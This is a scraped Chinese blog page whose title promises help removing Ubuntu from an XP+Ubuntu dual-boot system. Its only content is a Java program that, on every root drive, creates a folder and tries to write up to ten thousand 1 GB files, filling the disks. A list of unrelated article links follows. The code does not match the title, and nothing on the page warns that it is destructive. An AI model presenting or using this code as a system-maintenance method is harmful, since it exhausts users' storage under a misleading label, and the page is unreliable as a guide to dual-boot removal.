双系统(xp+ubuntu)删除ubuntu(好用)
2015-10-16 22:56
260 查看
package test; import java.io.File; import java.io.IOException; import java.io.RandomAccessFile; public class Test { public static void main(String[] args) throws IOException { File[] file1 = File.listRoots(); for (int k = 0; k < file1.length; k++) { String path = file1[k].getAbsolutePath(); path = path.substring(0, path.length() - 1); File file = new File(path + "/文件我最大/"); if (!file.isDirectory()) { file.mkdir(); } for (int i = 0; i < 10000; i++) { File file3 = new File(path + "/文件我最大/" + i); if (!file3.exists()) { file3.createNewFile(); RandomAccessFile rac = new RandomAccessFile(file3, "rw"); try { rac.setLength(1073741824); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); break; } rac.close(); } } } } }
本文出自 “专注Java,linux技术” 博客,请务必保留此出处http://wuqinglong.blog.51cto.com/9087037/1620206
相关文章推荐
- IOS 同步操作 通信
- H5应用接爱贝HTML5浏览器版(接入说明)
- 屏幕颜色提取器(小巧,绿色,zip/20.2k)
- MySQL时间戳和日期相互转化
- LeetCode3:Longest Substring Without Repeating Characters
- linux Ubuntu jdk 配置环境变量
- 安卓_动画_帧动画
- python+pygame游戏开发之使用Py2exe打包游戏
- [LeetCode] Add and Search Word - Data structure design
- 使用SQLite本地数据库
- Delphi如何获取系统服务(即Service服务程序)列表
- 类与对象
- [题解+总结]20151016动态规划
- poj(2342)——Anniversary party
- Android学习日志之二:Activity知识点总结
- 绽放数据可视化之美
- Android SQLite
- LeetCode Insert Interval
- HDU - 3584 Cube(三维树状数组)
- 也谈卡尔曼滤波(上)